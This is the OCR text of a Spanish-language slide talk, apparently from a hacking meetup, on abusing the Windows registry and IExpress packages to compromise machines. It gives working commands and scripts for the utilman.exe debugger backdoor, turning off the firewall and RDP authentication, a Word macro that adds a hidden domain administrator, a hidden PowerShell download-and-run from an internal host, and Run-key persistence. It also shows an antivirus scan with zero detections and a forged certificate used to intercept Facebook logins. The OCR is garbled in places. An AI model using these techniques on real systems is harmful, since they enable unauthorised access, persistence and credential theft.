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La cerveza




o

Archive Edicién  Ver

El registro de Windows

Favoritos  Ayuda

Editor del Registro

. AccountPicture
. Action Center

. AppHost

. Applets

. ApplicationAssociationToasts

. AppModel
. Authentication
. Controls Folder
. Explorer
 Ext
. Extensions
. Group Policy
, ime
. ImmersiveShell
. Internet Settings
Y]
i ]l CACHE
o , Cennections
[ - | Http Filters
[: - |, Lockdown_Zones
bl P3P
[.> | Passport
[~ ., TemplatePolicies
i L Url History
- | Wpad
[> ; ZoneMap
[> ; fones
. Policies
. PushNotifications
, Run
. SettingSync
. Shell Bxtensions

b

MNombre

ab| (Predeterminado)
ab) AuteConfigProxy
‘.’.'6\| CertificateRevocation
ab| EmnailName

%4 Enablefutodial

24| EnableHttp1_1

4 EnableMegotiate
ab)|E5_UA_Backup_Flag
74 MigrateProxy

a_‘ﬂMimeEchusionListForCache

74| NoNetAutodial

4 PrivacyAdvanced
) ProxyEnable

) Prowgyhttp1.1

ak| ProxyServer

‘.’.'cﬂ SecureProtocols

‘.’.'6\| UrlEncoding

ab]| User Agent

‘.’.'6\| UseSchannelDirectly
%4 WarnOnPost
‘ﬁ'ﬂWamonZnneCmssing
ﬁﬂZnnesSecurit}tUpgrade

5\|DisableCachingOfSSLPages

Tipo

REG_SZ
REG_SZ
REG_DWORD
REG_DWORD
REG_SZ
REG_DWORD
REG_DWORD
REG_DWORD
REG_SZ
REG_DWORD
REG_SZ
REG_DWORD
REG_DWORD
REG_DWORD
REG_DWORD
REG_SZ
REG_DWORD
REG_DWORD
REG_SZ
REG_BIMARY
REG_BIMARY
REG_DWORD
REG_BIMARY

Datos

{valor no establecido)
wininet.dll

O DO000001 (1)
OheDOO00000 (0}
User@
OeeDOO00000 (0}
DheDOODDD0T (1)
000000001 (1)
5.0
OeeDOO0000T (1)

multipart/mixed multipart/x-mixed-replace multip...

DreDOODDDDD (0}
OheDOO00000 (0}
OheDOO0000T (1}
OeeDOO0000T (1)
http=10.0.2,11:8080
DheDO0000a0 (160}
OheDOO00000 (0}
Mozilla/4.0 (compatible; MSIE 8.0; Win32)
01 00 00 00

01 00 00 00
DreDOODDDDD (0}
e5f53892d e7 d1 of 1

Equipo\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings

Se puede acceder al registro ejecutando regedit.exe



Claves de Registro interesantes para acceder a un

Sistema Windows

*  Enelarranque del sistema

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnceEx

HKCU\Software\Microsoft\Windows\Current Version\Run\fichero.exe

*  Paradepurar aplicaciones

Key_Local_Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options\utilman.exe
Debugger="cmd.exe"

. Para deshabilitar el firewall

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile

EnableFirewall=0



Claves de Registro interesantes para acceder a un
Sistema Windows

. Para el escritorio remoto

— HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\Terminal Server
fDenyTSConnections=0

— HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\
UserAuthentication =0

SecurityLayer =0

. Para poder ejecutar macros en el office

— HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Office\15.0\Word\Security\Trusted locations
allownetworklocations =1

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Office\15.0\Word\Security\Trusted locations\Location3
AllowSubFolders=1

Path=%userprofile%

” ME GUSTA ,
LA CERVEZA A




Claves de Registro interesantes para acceder a un
Sistema Windows

Para la navegacion por Internet y salir por el proxy

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
MigrateProxy=dword:00000001

ProxyEnable=dword:00000001
ProxyHttpl.1=dword:00000001
ProxyServer=" http=10.0.2.11:8080"

. Para las Politicas del usuario

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
— HKEY_CURRENT_USER\Software\Policies

*  Para las Politicas del equipo

— HKEY_LOCAL_MACHINE \SOFTWARE\Policies
— HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Windows\CurrentVersion\Policies



sComo lo
hacemos?

Q



lexpress

* Es un empaquetador que viene en Windows
desde |a version de XP.

[ j [Express Wizard ﬁ

Welcome to IExpress 2.0

This wizard will help you create a self-extracting /
seffinstalling package.

First, you need to create a Self Extraction Directive (SED)
file to store information about your package. K you have
glready done this, select Open existing one; othenwise,
select Create New Self Bxtraction Directive file.

{* Create new Seff Exdraction Directive file |

(" Open existing Seff Exdtraction Directive file:




lexpress.exe

Se pueden afadir todo tipo de ficheros y pedir
gue se ejecuten

| Ioxpress Wizard = Esto me va
Packaged files gustando mas
Create a list of files that you want in your compressed \ >

package. ,‘\

Filename | Path | \ - ': l‘

725938 msi C:itemp®, §

remoto.vbs Citemp', - X

final. EXE C:\temp®, : > ~

< Atras | Siguiente > | Cancelar




lexpress.exe

 Cada fichero se ejecuta de distinta manera

J IExpress Wizard

Install Program to Launch

Select the programs or INF files to launch from the
package. A custom command can also be created below.

Install wscript remoto vbs o
Program | J

The below comand will be run after the install has
completed.

Post Install final exe =
Command J

< Atras | Siguiente | Cancelar

Para un fichero REG
Regedit.exe /s fichero.REG (/s modo silencioso)

Para un fichero MSI
Msiexec.exe /i FICHERO.MSI (/i indica instalacion)

Para un fichero BAT
cmd.exe /c FICHERO.BAT (/c linea de comandos)

Para un fichero VBS
Wscript.exe FICHERO.VBS

Para un fichero PS1
Powershell.exe FICHERO.PS1

Para un fichero EXE
Calc.exe (sin nada de nada)



Ejemplo 1

* Sjusuario administrador ejecuta:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v
Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

o

J IExpress Wizard @ | IExpress Wizard @

Install Program to Launch Package Name and Options

Select the programs or INF files to launch from the

package. A custom command can also be created below. Enter the target path and filename for your package.

This is the file that will get downloaded and executed by

the user.
Instal REG ADD "HKLM\SOFTWARE\Mic = |
Program |Lrtilman Browse
The below comand will be run after the install has Options
completed.

[v Hide File Extracting Progress Animation from User

Post Install i /i 72922 mai =
Command msiense A iz et J [¥ Store files using Long File Name inside Package

= Mras | Siguiente = | Cancelar < ftras | Siguiente = | Cancelar




Ejemplo 1

= Editor del Registro
Archive Edicion  Ver Favoritos Ayuda
E E searchprotocolhost.exe # || Mombre Tipe Datos
sethc.exe ab| (Predeterminado) REG_SZ (valor no establecida)
spoolsv.exe ab| Debugger REG_SZ Chwindows\system3Zvemnd.exe
utilman.exe
wcript.exe

[ L. IniFileMapping

[ InctalledFeatirec

Presione Ctrl+Alt+Supr para iniciar una sesion.
Administrador: C\windows\system32\cmd.exe

icrosoft Windows [Uersion 6.2.72001
(c>» 2012 Microsoft Corporation. Todos los derechos reservados.

sMindowsssystem32 >

20:34

lunes, 12 de enero

&




Remoto.vbs

Dim Equipo, objReg, Ruta, Nombreclave, Valor
HKEY LOCAL_MACHINE = &H80000002
Equipo="."

Set objReg = GetObject("winmgmts:\\" & Equipo & "\root\default:StdRegProv")

Ruta = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe"
objReg.CreateKey HKEY LOCAL_MACHINE, Ruta

NombreClave = "Debugger"

Valor = "cmd.exe"

objReg.SetSTRINGValue HKEY LOCAL_MACHINE, Ruta, NombreClave, Valor

Ejemplo 2

ruta2 = "SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services"
objReg.CreateKey HKEY_ LOCAL_MACHINE, ruta2

NombreClave2 = "UserAuthentication"

Valor2 =0

objReg.SetDWORDValue HKEY LOCAL_MACHINE, Ruta2, NombreClave2, Valor2
NombreClave3="SecurityLayer"

Valor3 =0

objReg.SetDWORDValue HKEY LOCAL_MACHINE, Ruta2, NombreClave3, Valor3

Ruta4 = "SYSTEM\CurrentControlSet\Control\Terminal Server"
objReg.CreateKey HKEY LOCAL_MACHINE, Ruta4d

NombreClave4 = "fDenyTSConnections"

Valord =0

objReg.SetDWORDValue HKEY LOCAL_MACHINE, Rutad4, NombreClave4, Valor4

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile



Ejemplo 2

| IExpress Wizard

=

Install Program to Launch

Select the programs or INF files to launch from the
package. A custom command can also be created below.

Install wscript remoto vbs hd
Program | J

The below comand will be run after the install has
completed.

Post Install msiexec /A 72938 j
Command

< Atras | Siguiente > | Cancelar |

[

| IExpress Wizard

[l

Install Program to Launch

Select the programs or INF files to launch from the
package. A custom command can also be created below.

Install cmd /c netsh advfirewall set allprofile +
Program F J

The below comand will be run after the install has
completed.

Post Install Femoto. EXE] j

Command

< Atras | Siguiente > | Cancelar

Se genera un ejecutable remoto.EXE

El ejecutable generado lo unimos con:
cmd /c netsh advfirewall set allprofiles state off



i)

Ejemplo
total

C Al antivirus analyses finished, running detailed file characterization processes.

SHAZ56:

MNombre:

Detecciones:

Fecha de analisis:

27ca690cd7c 96b50f302d53c 84b40c61cd0edd34e96f6719c 69957 325 3b06T
remoto_firewall_buenc. EXE

0/

o

-
[}

2015-01-14 10:31:08 UTC ( hace 0 minutos )

B Analisis @, Detalles @ Informacion adicional ® Comentarios 1 Votos

Antivirus
ALYac
AVG
AMware
Ad-Aware
AegisLab
Agnitum
AhnLab-V3
Alibaba
Antiy-AVL
Avast
Awira
Baidu-International

BitDefender

Resultado

e 0 0 0 0 0 0 0 O 0 0 o0 o

2

Actualizacién
20150114
20150114
20150114
20150114
20150114
20150113
20150113
20150114
20150114
20150114
20150110
20150114

20150114



Ejemplo 3
Si lo hacemos para Office ersion de Office

- HKEY_CURRENT_USER\SOFTWARE\PoIicies\Microsoft\Offic Word\Security\Trusted
locations

allownetworklocations =1

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Office\14.0\Word\ Security\Trusted
locations\Location3

AllowSubFolders=1 ! Advertencia de segug
Path=%userprofile%

macros se han deshabilitado. | Habilitar contenido |

- - . ?
& Doc1 - ThisDo Propiedades: pablo L2 [
|Do-cument
Marcado I Entoma I Sesiones I Caontrol remoto
Private Sub Document HNew() Perfil de Servicios de Escritorio remoto I COM+
General I Direccién I Cuenta I Pefil I Teléfonos I Organizacidn | Migmbro de
End Sub
Miembro de:
Priwvate Sub Document_ Open() . . . E
x = 5hell ("cmd fc Net user pablo P@sswird /fadd /domain", vbHide) Nombre Cameta de los Servicios de dominio de Active Di
Administradaores curso.com,/Buittin

v = Shell("cmd /fc net localgroup administradores curso.com\pablo fadd", vbHide) Usuarios del dominio  curso.com/Users

End Sub




Ejemplo 4
Como ejecutar comandos con VBS

abredoc.vbs

set Prog = CreateCbject("wWsckinkL.shell™)
ruta = "z:\\huenos\Docl.doc"

Prog.run explorer + ruta
set Shell = CreateObject("Shell . Rpplication”

Shell.ShellExecute "god.gxe" , "/c reg add HECUASoftware\Microsoft\Windows\CurrentVersion\Run
/v miexe /t REG SZ /d c:\rutal\vale.exe /f" , "" , "" , 0

Como ejecutar comandos con powershell

Powershell.exe -WindowStyle hidden -command "&{ Sy=New-Object System.Net.WebClient;
Sw.Down loadFile('http://10.0.2.6/a.exe", "' c:\users\publicha.gxe');




Ejemplo 5

A certsrv - [Entidad de certificacion (Local)\curso-SERVIDOR-CA\Certificados emitidos] = | =] =
Archive  Accion  Ver  Ayuda
e #H [z
Tl Entidad de certificacién (Local) Id. de solicitud Mombre del solicitante Certificade binario Plantilla de certificado MNdmero de serie Fecha de vigencia de certificado Fecha de
4 g curso-SERVIDOR-CA 2 CURSONSERVIDORS ~ =-s-- BEGIN CERTIFI... Controlador de dominio (DomainController)  5400000002fed1e...  11/01/2015 12:42 117017201
“| Certificados revocados i3 CURSO\SERVIDORS ~ ---—- BEGIN CERTIFI... Servidor web (WebServer) 540000000366f6c...  11/01/2015 13:43 10/01/201
| Certificados emitidos
Certificado 1 Certificado | x|

| Solicitudes pendientes B

| Erroren las solicitudes
7| Plantillas de certificado General | Detales | Ruta de certificacion | General | Detalles | Ruta de certificacidn
Mostrar: | <Todos > W |
E Informacién del certificado
Campo Valor A
Este certif. esta destinado a los siguientes propdsitos: BSUJEUJ * hackbeer.es
= Asegura la identidad de un equipo remoto Dclaue puiblica RSA (2048 Bits)
Nombre de plantilla de certif... WebServer

Llso mejorado de daves Autenticaddn del servidor (1.3... [ =

Obtener més informadién acerca de |

Emitido para: *.hackbeer.es

Emitido por:

vilido desde 11/01/2015 hasta 10/01/2017

curso-5ERVIDOR-CA

Dedaraddn del emisor

@Nombre alternativo del titular

5] Puntos de distribucin CRL

Identiﬁcador de dave del tit...

Identiﬁcador de dave deen...

d1da 40 51 1cde 79 14fa 82 ...
Mombre DNS=*.google.es, MNo...
Id. de dave=de 7b 68 ca 5d b...
[1]Punto de distribucidn CRL: ...

Mombre DNS=*.google.es
Mombre DNS=*.google.com
Mombre DNS="*,gmail.com
MNombre DNS=",facebook.es
MNombre DNS=*,facebook.com
Mombre DNS="mail.google.com

Editar propiedades...

MNombre DNS=*.accounts.google.com

Obtener mas informaddn acerca de los detalles del certificado




Ejemplo 5

‘ Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[ Target Tmey T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAlerts ]

[ Intercept T HTTP history T WebSockets history T Options ]

- [a
2| Proxy Listeners ™

@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You wil need to configure your browser to use one of the listeners as its proxy server.

l Add J Running | Interface | Invisible | Redirect | Certificate
[E4] 10.0.2.11:8080 a Zicertificados\web_hack_beer.pfx
Edit
Remove >

_/

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating SSL connections. You can import or expert this certificate for use in other tools or
another inztallation of Burp.

Intercept Client Requests

Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

& &

& Intercept requests based on the following rules:

l Add J Enabled | Operator | Match type | Relationship | Condition
[E4] File extension Does not match ("gifs{"jpoSi*pngSi* cze3 g5 icos)
Edit & Or Reguest Contains parameters
& Or HTTP method Does not match (getipost)
Remove €] And URL I8 in target scope »

Up

\D

l Down J

[ Automaticalty fix mizsing or superflucus new lines at end of request
[ Automaticalty update Content-Length header when the request is edited

-t




Ejemplo 5

Para activar el proxyy ponerle la direccion de nuestra maquina

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
MigrateProxy=dword:00000001

ProxyEnable=dword:00000001

ProxyHttpl.1=dword:00000001

ProxyServer=" http=10.0.2.11:8080

Para instalar el certificado

Set WshShell = WScript.CreateCbject("WScript.Shell")
WshShell.Run "gertutil -user —-gddsitors root root.ger™, 9

WScript.Sleep 1000
WshShell . SendEeys "%s"



Ejemplo 5

@lﬂ https://www facebook.com/ P~& G| i (3) Facebook

li Busca personas, lugares y cosas £ valentin  Inicio

‘ Burp Suite Free Edition v1.6

Burp Intruder Repeater Window Help

[ Target I Proxy T Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Options. I Alerts ]

Intercept | HTTP history T WebSockets history T Options. ]

| Filter: Hiding C33, image and general binary content | EJ
# & Host | Method | URL | Params | Edited | Status | Length | MIMEtype | Extension | Title
(578 NipsdiwwWw facebook.com GET L pAp 7xd=3 BTz 97 T el TI9E 6. T [] 200 SO HATNC php |‘
579 hitps:ifww w . facebook.com GET {?ref=tn_tnmn&ajaxpipe=13ajaxpipe_to... [ a 200 317252  HTML
580 hitps:/fwww.facebook.com POST lajaxbz [Ei) (] 200 718 =cript
581 hitps:ifwww facebook.com GET Iai php?aed=AQJTSLjcefOZV4FagiCVd & a 200 887 HTML php
583 hitps:ifww w . facebook.com GET /fai.php?ego=ATE0CSdIWZTQUCc-HKW_... [} a 200 887 HTML php
524 hitps:/iwww facebook.com GET fxti php?xi=3.61030280074439539455... ] (] 200 688 HTML php
585 hitps:iiwww. facebook.com POST Iajaxibz €} a 200 719 =cript
586 hitps./iS-edge-chat. facebook.com GET {pull?channel=p_10294068558seg=T&p... 4] a 200 285 script
587 hitps:/fwww.facebook.com POST fogout.php (€4} o 302 1700 HTML php
=5 hitps:iiwww. facebook.com POST Iajaxibz €} a 200 719 =cript
589 hitps:ifeww . facebook.com GET 1?stype=lo&jlou=Afczmy-rwPEHPwpNd... 4] a 200 57481 HTML ;&;Bianveniﬂu a Facebc
592 https:fiwww . facebook.com POST Jajaxibz ] | 200 924 script
503 hitpe:/iwww. facebook.com POST Nogin.php?login_attempt=1 & O 302 1458 HTML php v
ELS J =
Request | Response
Raw | Params | Headers | Hex
Content-Type: application/x-www—form-urlencodesd &

Accept-Encoding: gzip, deflate

Host: www.facebook.com

Content-Length: 708

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: datr=fO0eyVFPINLIDZIKsGS5IESyb40g; locale=es LA;

fr=0UDZMm ImUOuwdk0J3 . AWVISEptWE sEpsMHPvh1kXTulY.BUsk7X.Fx . FSy.0.AWUL_ic-; lu=Rirmmaulé&V7EIStqlZbfcFeg;

reg Th_ref=htrps%3ASIFSIFwww.facehook.comsZFs3Fstypes3DlosZe]lous3DAteemy-rwPSHPwpHdE IATI U UNLLF pCmERILSHRZGVREThS 611K Z
TjBRx5SREvEdobbmDEHOZ Ao4cINCindNEhz0sAAS 2 Esmuhs3D43 626%261h%3DAc_za-2 Tt-RnilhY;
reg_fh_gate=https%3A4%ZFsIFuww. facebook. com%ZF%3Fstypes3Dlo%2ejlous3DAfeeny-rwPEBHPwpHABTATUS ulNLLFpCERILSHRZGVREThSEN 1
ZIJRxSREVRdobbmDEHQZ AodcZMCIndNEhzQsARS 2 Esmuhs3D43626%281h%3DAc_za-2Tt-RnidhT

1sd=Avr leuwlsemai L~ ¢ .o twai . comépass = NN == versistent=0&timezone=-£0&lanrnd=0225
S56_putP&lognis=142058715951&locale=es LA&gsstamp=WlthNiw3Hyw3OCwSMCwSNCwxHDMsMTE ILDEONSwxNDksMTYxLDE40CwyIT) AsMI TSLDMxNivz
MTgsMzMxLDMzOCwzNDASHz0Z LDNZOCwezgs ek SLD 0wy wOMDUsHDMILDQLOCw0OTOsNTAYLD Uwlyw LMD s Ty LDUON Cw INTYsNTcZ LD YwHC w2 MD UsIT)
QuLDTZ My wIN] VsNijgzLDewMywaNDVAXSwidVpsSz EPN0 LD ey pUGSHW L 1BLDhz OVESNnEph Hp GV 1 Z05nxmdUZLVINpeDUDA3Vne TFRCEAODHEr e GFE LI W
MOFNEmIy TWSabl ey EVSOUWSaY WIS Mk 1KV INZcHVpS2 s vEks40E4teURLIL U3 TwWNR LIWRF Z0cke4WESPL IRHe IRsROL TWGswlI EVEOJBdD M= ZXe STV LIWR L
EGhL1PCWpDemFEZJFEQOANaldiQlVEQTNNS IRLUEgy Q3 VIRF M IV d1hMay04dmEwS TFCHGRNZZ ZEMGAZ X3 p G TI Zb LFL CraJ PAUA3 aWdx SOVEVGE TQSJd

BEEEC

4

0 matches




Preguntas

Con cervezas
Habra mas
preguntas




